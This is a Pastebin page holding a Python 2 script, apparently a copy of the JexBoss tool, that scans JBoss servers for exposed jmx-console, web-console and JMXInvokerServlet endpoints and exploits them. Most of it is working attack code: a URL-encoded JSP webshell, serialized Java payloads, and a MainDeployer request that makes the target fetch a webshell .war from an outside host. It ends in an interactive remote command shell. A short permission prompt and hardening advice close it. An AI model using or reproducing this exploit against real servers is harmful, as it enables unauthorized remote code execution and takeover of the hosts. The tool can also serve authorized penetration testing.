API tools faq
paste
Advertisement
mysql_Anarchy

[ PYTHON ] Fast Exploiter (Port 36575)

mysql_Anarchy
Jun 4th, 2018
693
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 18.65 KB | None | 0 0
raw download clone embed print report
  1. import httplib, sys, urllib, os, time
  2. from urllib import urlencode
  3.  
  4. RED = '\x1b[91m'
  5. RED1 = '\033[31m'
  6. BLUE = '\033[94m'
  7. GREEN = '\033[32m'
  8. BOLD = '\033[1m'
  9. NORMAL = '\033[0m'
  10. ENDC = '\033[0m'
  11.  
  12. def getHost(url):
  13.     tokens = url.split("://")
  14.     if len(tokens) == 2: #foi fornecido protocolo
  15.         return tokens[1].split(":")[0]
  16.     else:
  17.         return tokens.split(":")[0]
  18.        
  19. def getProtocol(url):
  20.     tokens = url.split("://")
  21.     if tokens[0] == "https":
  22.         return "https"
  23.     else:
  24.         return "http"
  25.  
  26. def getPort(url):
  27.     token = url[6:].split(":")
  28.     if len(token) == 2:
  29.         return token[1]
  30.     elif getProtocol(url) == "https":
  31.         return 443
  32.     else:
  33.         return 80
  34.        
  35. def getConnection(url):
  36.     if getProtocol(url) == "https":
  37.         return httplib.HTTPSConnection(getHost(url), getPort(url))
  38.     else:
  39.         return httplib.HTTPConnection(getHost(url), getPort(url))
  40.        
  41.  
  42. def getSuccessfully(url, path):
  43.         result = 404
  44.         time.sleep(5)
  45.         conn = getConnection(url)
  46.         conn.request("GET", path)
  47.         result = conn.getresponse().status
  48.         if result == 404:
  49.             conn.close()
  50.             time.sleep(7)
  51.             conn = getConnection(url)
  52.             conn.request("GET", path)
  53.             result = conn.getresponse().status
  54.             conn.close()
  55.         return result
  56.  
  57. def checkVul(url):
  58.    
  59.     print ( GREEN +" ** Checking Host: %s **\n" %url )
  60.    
  61.     path = { "jmx-console"       : "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo",
  62.              "web-console"       : "/web-console/ServerInfo.jsp",
  63.              "JMXInvokerServlet" : "/invoker/JMXInvokerServlet"}
  64.  
  65.     for i in path.keys():
  66.         try:
  67.             print GREEN + " * Checking %s: \t" %i + ENDC,
  68.             conn = getConnection(url)
  69.             conn.request("HEAD", path[i])
  70.             path[i] = conn.getresponse().status
  71.             if path[i] == 200 or path[i] == 500:
  72.                 print RED + "[ VULNERABLE ]" + ENDC
  73.             else: print GREEN + "[ OK ]"
  74.             conn.close()
  75.         except:
  76.             print RED + "\n * An error ocurred while contaction the host %s\n" %url + ENDC
  77.             path[i] = 505
  78.        
  79.     return path
  80.  
  81. def autoExploit(url, type):
  82.    
  83.     # exploitJmxConsoleFileRepository: tested and working in jboss 4 and 5
  84.     # exploitJmxConsoleMainDeploy:     tested and working in jboss 4 and 6
  85.     # exploitWebConsoleInvoker:        tested and working in jboss 4
  86.     # exploitJMXInvokerFileRepository: tested and working in jboss 4 and 5
  87.    
  88.     print GREEN + ("\n * Sending exploit code to %s. Wait...\n" %url)
  89.     result = 505
  90.     if type == "jmx-console":
  91.         result = exploitJmxConsoleFileRepository(url)
  92.         if result != 200 and result != 500:
  93.             result = exploitJmxConsoleMainDeploy(url)
  94.     elif type == "web-console":
  95.         result = exploitWebConsoleInvoker(url)
  96.     elif type == "JMXInvokerServlet":
  97.         result = exploitJMXInvokerFileRepository(url)
  98.  
  99.     if result == 200 or result == 500:
  100.         print GREEN + " * Successfully deployed code! Starting command shell, wait...\n" + ENDC
  101.         shell_http(url, type)
  102.     else:
  103.         print (RED + "\n * Could not exploit the flaw automatically. Exploitation requires manual analysis...\n"
  104.                     "   Waiting for 7 seconds...\n "+ ENDC)
  105.         time.sleep(7)
  106. def shell_http(url, type):
  107.     if type == "jmx-console" or type == "web-console":
  108.         path = '/jbossass/jbossass.jsp?'
  109.     elif type == "JMXInvokerServlet":
  110.         path = '/shellinvoker/shellinvoker.jsp?'
  111.  
  112.     conn = getConnection(url)
  113.     conn.request("GET", path)
  114.     conn.close()
  115.     time.sleep(7)
  116.     resp = ""
  117.     #clear()
  118.     print " * - - - - - - - - - - - - - - - - - - - - LOL - - - - - - - - - - - - - - - - - - - - * \n"
  119.     print RED+" * "+url+": \n"+ENDC
  120.     headers = {"User-Agent" : "jexboss"}
  121.     for cmd in ['uname -a', 'cat /etc/issue', 'id']:
  122.         conn = getConnection(url)
  123.         cmd = urlencode({"ppp": cmd})
  124.         conn.request("GET", path+cmd, '', headers)
  125.         resp += " "+conn.getresponse().read().split(">")[1]
  126.     print resp,
  127.    
  128.     while 1:
  129.         print BLUE + "[Type commands or \"exit\" to finish]"
  130.         cmd=raw_input("Shell> "+ENDC)
  131.         #print ENDC
  132.         if cmd == "exit":
  133.             break
  134.         conn = getConnection(url)
  135.         cmd = urlencode({"ppp": cmd})
  136.         conn.request("GET", path+cmd, '', headers)
  137.         resp = conn.getresponse()
  138.         if resp.status == 404:
  139.             print RED+ " * Error contacting the commando shell. Try again later..."
  140.             conn.close()
  141.             continue
  142.         stdout = ""
  143.         try:
  144.             stdout = resp.read().split("pre>")[1]
  145.         except:
  146.             print RED+ " * Error contacting the commando shell. Try again later..."
  147.         if stdout.count("An exception occurred processing JSP page") == 1:
  148.             print RED + " * Error executing command \"%s\". " %cmd.split("=")[1] + ENDC
  149.         else: print stdout,
  150.         conn.close()
  151.  
  152. def exploitJmxConsoleMainDeploy(url):
  153.     # MainDeployer
  154.     # does not work in jboss5 (bug in jboss5)
  155.     # shell in link
  156.     # /jmx-console/HtmlAdaptor
  157.     jsp = "http://www.joaomatosf.com/rnp/jbossass.war"
  158.     payload =(  "/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service"
  159.                 "=MainDeployer&methodIndex=19&arg0="+jsp)
  160.     print ( GREEN+ "\n * Info: This exploit will force the server to deploy the webshell "
  161.                    "\n   available on: "+jsp +ENDC)
  162.     conn = getConnection(url)
  163.     conn.request("HEAD", payload)
  164.     result = conn.getresponse().status
  165.     conn.close()
  166.     return getSuccessfully(url, "/jbossass/jbossass.jsp")  
  167.  
  168. def exploitJmxConsoleFileRepository(url):
  169.         # DeploymentFileRepository
  170.         # tested and work in jboss4, 5.
  171.         # doest not work in jboss6
  172.         # shell jsp
  173.         # /jmx-console/HtmlAdaptor
  174.         jsp =("%3C%25%40%20%70%61%67%65%20%69%6D%70%6F%72%74%3D%22%6A%61%76%61"
  175.               "%2E%75%74%69%6C%2E%2A%2C%6A%61%76%61%2E%69%6F%2E%2A%22%25%3E%3C"
  176.               "%70%72%65%3E%3C%25%20%69%66%20%28%72%65%71%75%65%73%74%2E%67%65"
  177.               "%74%50%61%72%61%6D%65%74%65%72%28%22%70%70%70%22%29%20%21%3D%20"
  178.               "%6E%75%6C%6C%20%26%26%20%72%65%71%75%65%73%74%2E%67%65%74%48%65"
  179.               "%61%64%65%72%28%22%75%73%65%72%2D%61%67%65%6E%74%22%29%2E%65%71"
  180.               "%75%61%6C%73%28%22%6A%65%78%62%6F%73%73%22%29%29%20%7B%20%50%72"
  181.               "%6F%63%65%73%73%20%70%20%3D%20%52%75%6E%74%69%6D%65%2E%67%65%74"
  182.               "%52%75%6E%74%69%6D%65%28%29%2E%65%78%65%63%28%72%65%71%75%65%73"
  183.               "%74%2E%67%65%74%50%61%72%61%6D%65%74%65%72%28%22%70%70%70%22%29"
  184.               "%29%3B%20%44%61%74%61%49%6E%70%75%74%53%74%72%65%61%6D%20%64%69"
  185.               "%73%20%3D%20%6E%65%77%20%44%61%74%61%49%6E%70%75%74%53%74%72%65"
  186.               "%61%6D%28%70%2E%67%65%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29"
  187.               "%29%3B%20%53%74%72%69%6E%67%20%64%69%73%72%20%3D%20%64%69%73%2E"
  188.               "%72%65%61%64%4C%69%6E%65%28%29%3B%20%77%68%69%6C%65%20%28%20%64"
  189.               "%69%73%72%20%21%3D%20%6E%75%6C%6C%20%29%20%7B%20%6F%75%74%2E%70"
  190.               "%72%69%6E%74%6C%6E%28%64%69%73%72%29%3B%20%64%69%73%72%20%3D%20"
  191.               "%64%69%73%2E%72%65%61%64%4C%69%6E%65%28%29%3B%20%7D%20%7D%25%3E" )
  192.              
  193.         payload =("/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service="
  194.                    "DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0="
  195.                    "jbossass.war&argType=java.lang.String&arg1=jbossass&argType=java.lang.St"
  196.                    "ring&arg2=.jsp&argType=java.lang.String&arg3="+jsp+"&argType=boolean&arg4=True")
  197.        
  198.         conn = getConnection(url)
  199.         conn.request("HEAD", payload)
  200.         result = conn.getresponse().status
  201.         conn.close()
  202.         return getSuccessfully(url, "/jbossass/jbossass.jsp")
  203.  
  204. def exploitJMXInvokerFileRepository(url):
  205.     # tested and work in jboss4, 5
  206.     # MainDeploy, shell in data
  207.     # /invoker/JMXInvokerServlet
  208.     payload = ( "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73"
  209.                 "\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72"
  210.                 "\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f"
  211.                 "\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77"
  212.                 "\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76"
  213.                 "\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2"
  214.                 "\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75"
  215.                 "\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e"
  216.                 "\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00"
  217.                 "\x78\x70\xe3\x2c\x60\xe6\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62"
  218.                 "\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d"
  219.                 "\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc"
  220.                 "\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x7a\x00\x00\x02\xc6"
  221.                 "\x00\x00\x02\xbe\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61"
  222.                 "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90"
  223.                 "\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04"
  224.                 "\x73\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65"
  225.                 "\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f"
  226.                 "\x03\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x2c\x6a"
  227.                 "\x62\x6f\x73\x73\x2e\x61\x64\x6d\x69\x6e\x3a\x73\x65\x72\x76\x69"
  228.                 "\x63\x65\x3d\x44\x65\x70\x6c\x6f\x79\x6d\x65\x6e\x74\x46\x69\x6c"
  229.                 "\x65\x52\x65\x70\x6f\x73\x69\x74\x6f\x72\x79\x78\x74\x00\x05\x73"
  230.                 "\x74\x6f\x72\x65\x75\x71\x00\x7e\x00\x00\x00\x00\x00\x05\x74\x00"
  231.                 "\x10\x73\x68\x65\x6c\x6c\x69\x6e\x76\x6f\x6b\x65\x72\x2e\x77\x61"
  232.                 "\x72\x74\x00\x0c\x73\x68\x65\x6c\x6c\x69\x6e\x76\x6f\x6b\x65\x72"
  233.                 "\x74\x00\x04\x2e\x6a\x73\x70\x74\x01\x79\x3c\x25\x40\x20\x70\x61"
  234.                 "\x67\x65\x20\x69\x6d\x70\x6f\x72\x74\x3d\x22\x6a\x61\x76\x61\x2e"
  235.                 "\x75\x74\x69\x6c\x2e\x2a\x2c\x6a\x61\x76\x61\x2e\x69\x6f\x2e\x2a"
  236.                 "\x22\x25\x3e\x3c\x70\x72\x65\x3e\x3c\x25\x69\x66\x28\x72\x65\x71"
  237.                 "\x75\x65\x73\x74\x2e\x67\x65\x74\x50\x61\x72\x61\x6d\x65\x74\x65"
  238.                 "\x72\x28\x22\x70\x70\x70\x22\x29\x20\x21\x3d\x20\x6e\x75\x6c\x6c"
  239.                 "\x20\x26\x26\x20\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x48"
  240.                 "\x65\x61\x64\x65\x72\x28\x22\x75\x73\x65\x72\x2d\x61\x67\x65\x6e"
  241.                 "\x74\x22\x29\x2e\x65\x71\x75\x61\x6c\x73\x28\x22\x6a\x65\x78\x62"
  242.                 "\x6f\x73\x73\x22\x29\x20\x29\x20\x7b\x20\x50\x72\x6f\x63\x65\x73"
  243.                 "\x73\x20\x70\x20\x3d\x20\x52\x75\x6e\x74\x69\x6d\x65\x2e\x67\x65"
  244.                 "\x74\x52\x75\x6e\x74\x69\x6d\x65\x28\x29\x2e\x65\x78\x65\x63\x28"
  245.                 "\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x50\x61\x72\x61\x6d"
  246.                 "\x65\x74\x65\x72\x28\x22\x70\x70\x70\x22\x29\x29\x3b\x20\x44\x61"
  247.                 "\x74\x61\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x20\x64\x69"
  248.                 "\x73\x20\x3d\x20\x6e\x65\x77\x20\x44\x61\x74\x61\x49\x6e\x70\x75"
  249.                 "\x74\x53\x74\x72\x65\x61\x6d\x28\x70\x2e\x67\x65\x74\x49\x6e\x70"
  250.                 "\x75\x74\x53\x74\x72\x65\x61\x6d\x28\x29\x29\x3b\x20\x53\x74\x72"
  251.                 "\x69\x6e\x67\x20\x64\x69\x73\x72\x20\x3d\x20\x64\x69\x73\x2e\x72"
  252.                 "\x65\x61\x64\x4c\x69\x6e\x65\x28\x29\x3b\x20\x77\x68\x69\x6c\x65"
  253.                 "\x20\x28\x20\x64\x69\x73\x72\x20\x21\x3d\x20\x6e\x75\x6c\x6c\x20"
  254.                 "\x29\x20\x7b\x20\x6f\x75\x74\x2e\x70\x72\x69\x6e\x74\x6c\x6e\x28"
  255.                 "\x64\x69\x73\x72\x29\x3b\x20\x64\x69\x73\x72\x20\x3d\x20\x64\x69"
  256.                 "\x73\x2e\x72\x65\x61\x64\x4c\x69\x6e\x65\x28\x29\x3b\x20\x7d\x20"
  257.                 "\x7d\x25\x3e\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67"
  258.                 "\x2e\x42\x6f\x6f\x6c\x65\x61\x6e\xcd\x20\x72\x80\xd5\x9c\xfa\xee"
  259.                 "\x02\x00\x01\x5a\x00\x05\x76\x61\x6c\x75\x65\x78\x70\x01\x75\x72"
  260.                 "\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74"
  261.                 "\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00"
  262.                 "\x78\x70\x00\x00\x00\x05\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61"
  263.                 "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x71\x00\x7e\x00\x0f\x71\x00"
  264.                 "\x7e\x00\x0f\x71\x00\x7e\x00\x0f\x74\x00\x07\x62\x6f\x6f\x6c\x65"
  265.                 "\x61\x6e\x63\x79\xb8\x87\x78\x77\x08\x00\x00\x00\x00\x00\x00\x00"
  266.                 "\x01\x73\x72\x00\x22\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69"
  267.                 "\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61"
  268.                 "\x74\x69\x6f\x6e\x4b\x65\x79\xb8\xfb\x72\x84\xd7\x93\x85\xf9\x02"
  269.                 "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00"
  270.                 "\x00\x04\x70\x78")
  271.     conn = getConnection(url)
  272.     headers = { "Content-Type" : "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue",
  273.                 "Accept"  : "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"}
  274.     conn.request("POST", "/invoker/JMXInvokerServlet", payload, headers)
  275.     response = conn.getresponse()
  276.     result = response.status
  277.     if result == 401:
  278.         print "   Retrying..."
  279.         conn.close()
  280.         conn.request("HEAD", "/invoker/JMXInvokerServlet", payload, headers)
  281.         response = conn.getresponse()
  282.         result = response.status
  283.     if response.read().count("Failed") > 0:
  284.         result = 505
  285.     conn.close
  286.     return getSuccessfully(url, "/shellinvoker/shellinvoker.jsp")
  287.    
  288. def exploitWebConsoleInvoker(url):
  289.     # does not work in jboss5 (bug in jboss5)
  290.     # MainDeploy, shell in link
  291.     # /web-console/Invoker
  292.     #jsp = "http://www.joaomatosf.com/rnp/jbossass.war"
  293.     #jsp = "\\x".join("{:02x}".format(ord(c)) for c in jsp)
  294.     #jsp = "\\x" + jsp
  295.     payload = ( "\xac\xed\x00\x05\x73\x72\x00\x2e\x6f\x72\x67\x2e"
  296.                 "\x6a\x62\x6f\x73\x73\x2e\x63\x6f\x6e\x73\x6f\x6c\x65\x2e\x72\x65"
  297.                 "\x6d\x6f\x74\x65\x2e\x52\x65\x6d\x6f\x74\x65\x4d\x42\x65\x61\x6e"
  298.                 "\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\xe0\x4f\xa3\x7a\x74\xae"
  299.                 "\x8d\xfa\x02\x00\x04\x4c\x00\x0a\x61\x63\x74\x69\x6f\x6e\x4e\x61"
  300.                 "\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f"
  301.                 "\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x06\x70\x61\x72\x61\x6d\x73"
  302.                 "\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f"
  303.                 "\x62\x6a\x65\x63\x74\x3b\x5b\x00\x09\x73\x69\x67\x6e\x61\x74\x75"
  304.                 "\x72\x65\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67"
  305.                 "\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x10\x74\x61\x72\x67\x65"
  306.                 "\x74\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x74\x00\x1d\x4c\x6a"
  307.                 "\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2f"
  308.                 "\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x78\x70\x74\x00\x06"
  309.                 "\x64\x65\x70\x6c\x6f\x79\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61"
  310.                 "\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58"
  311.                 "\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00"
  312.                 "\x2a"
  313.                 #link
  314.                 "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6a\x6f\x61\x6f\x6d\x61"
  315.                 "\x74\x6f\x73\x66\x2e\x63\x6f\x6d\x2f\x72\x6e\x70\x2f\x6a\x62\x6f"
  316.                 "\x73\x73\x61\x73\x73\x2e\x77\x61\x72"
  317.                 #end
  318.                 "\x75\x72\x00\x13\x5b"
  319.                 "\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e"
  320.                 "\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00"
  321.                 "\x00\x00\x01\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e"
  322.                 "\x53\x74\x72\x69\x6e\x67\x73\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e"
  323.                 "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63"
  324.                 "\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00"
  325.                 "\x78\x70\x74\x00\x21\x6a\x62\x6f\x73\x73\x2e\x73\x79\x73\x74\x65"
  326.                 "\x6d\x3a\x73\x65\x72\x76\x69\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65"
  327.                 "\x70\x6c\x6f\x79\x65\x72\x78")
  328.     conn = getConnection(url)
  329.     headers = { "Content-Type" : "application/x-java-serialized-object; class=org.jboss.console.remote.RemoteMBeanInvocation",
  330.                 "Accept"  : "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"}
  331.     conn.request("POST", "/web-console/Invoker", payload, headers)
  332.     response = conn.getresponse()
  333.     result = response.status
  334.     if result == 401:
  335.         print "   Retrying..."
  336.         conn.close()
  337.         conn.request("HEAD", "/web-console/Invoker", payload, headers)
  338.         response = conn.getresponse()
  339.         result = response.status
  340.     conn.close
  341.     return getSuccessfully(url, "/jbossass/jbossass.jsp")
  342.  
  343. def clear():
  344.     if os.name == 'posix':
  345.         os.system('clear')
  346.     elif os.name == ('ce', 'nt', 'dos'):
  347.         os.system('cls')
  348.  
  349. def checkArgs(args):
  350.     if len(args) < 2 or args[1].count('.') < 1:
  351.         return 1,"You must provide the host name or IP address you want to test."
  352.     elif len(args[1].split('://')) == 1:
  353.         return 2, 'Changing address "%s" to "http://%s"' %(args[1], args[1])
  354.     elif args[1].count('http') == 1 and args[1].count('.') > 1:
  355.         return 0, ""
  356.     else:
  357.         return 1, 'Parâmetro inválido'
  358.  
  359. def banner():
  360.     clear()
  361.     print (RED1+"\n * --- JexBoss: Jboss verify and EXploitation Tool  --- *\n"
  362.               " |                                                      |\n"
  363.               " | @author:  João Filho Matos Figueiredo                |\n"
  364.               " | @contact: joaomatosf@gmail.com                       |\n"
  365.               " |                                                      |\n"
  366.               " | @update: https://github.com/joaomatosf/jexboss       |\n"
  367.               " #______________________________________________________#\n\n" )
  368.  
  369. banner()
  370. # check python version
  371. if sys.version_info[0] == 3:
  372.     print (RED + "\n * Not compatible with version 3 of python.\n"
  373.                   "   Please run it with version 2.7 or lower.\n\n"
  374.             +BLUE+" * Example:\n"
  375.                   "   python2.7 " + sys.argv[0]+ " https://site.com\n\n"+ENDC )
  376.     sys.exit(1)
  377.  
  378. # check Args
  379. status, message = checkArgs(sys.argv)
  380. if status == 0:
  381.     url = sys.argv[1]
  382. elif status == 1:
  383.     print RED + "\n * Error: %s" %message
  384.     print BLUE + "\n Example:\n python %s https://site.com.br\n" %sys.argv[0] + ENDC
  385.     sys.exit(status)
  386. elif status == 2:
  387.     url = ''.join(['http://',sys.argv[1]])
  388.  
  389. # check vulnerabilities
  390. mapResult = checkVul(url)
  391.  
  392. # performs exploitation
  393. for i in ["jmx-console", "web-console", "JMXInvokerServlet"]:
  394.     if mapResult[i] == 200 or mapResult[i] == 500:
  395.         print BLUE + ("\n\n * Do you want to try to run an automated exploitation via \""+BOLD+i+NORMAL+"\" ?\n"
  396.                       "   This operation will provide a simple command shell to execute commands on the server..\n"
  397.                  +RED+"   Continue only if you have permission!" +ENDC)
  398.         if raw_input("   yes/NO ? ").lower() == "yes":
  399.             autoExploit(url, i)
  400.  
  401. # resume results
  402. if mapResult.values().count(200) > 0:
  403.     banner()
  404.     print RED+ " Results: potentially compromised server!" +ENDC
  405.     print (GREEN+" * - - - - - - -  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*\n\n"
  406.               " Recommendations: \n"
  407.               " - Remove web consoles and services that are not used, eg:\n"
  408.               "    $ rm web-console.war\n"
  409.               "    $ rm http-invoker.sar\n"
  410.               "    $ rm jmx-console.war\n"
  411.               "    $ rm jmx-invoker-adaptor-server.sar\n"
  412.               "    $ rm admin-console.war\n"
  413.               " - Use a reverse proxy (eg. nginx, apache, f5)\n"
  414.               " - Limit access to the server only via reverse proxy (eg. DROP INPUT POLICY)\n"
  415.               " - Search vestiges of exploitation within the directories \"deploy\" or \"management\".\n\n"
  416.               " References:\n"
  417.               "   [1] - https://developer.jboss.org/wiki/SecureTheJmxConsole\n"
  418.               "   [2] - https://issues.jboss.org/secure/attachment/12313982/jboss-securejmx.pdf\n"
  419.               "\n"
  420.               " - If possible, discard this server!\n\n"
  421.               " * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*\n" )
  422. elif mapResult.values().count(505) == 0:
  423.     print ( GREEN+ "\n\n * Results: \n"
  424.             "   The server is not vulnerable to bugs tested ... :D\n\n" + ENDC)
  425.  
  426. # infos
  427. print (ENDC+" * Info: review, suggestions, updates, etc: \n"
  428.              "   https://github.com/joaomatosf/jexboss\n"
  429.              "   joaomatosf@gmail.com\n")
  430.  
  431. print ENDC
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!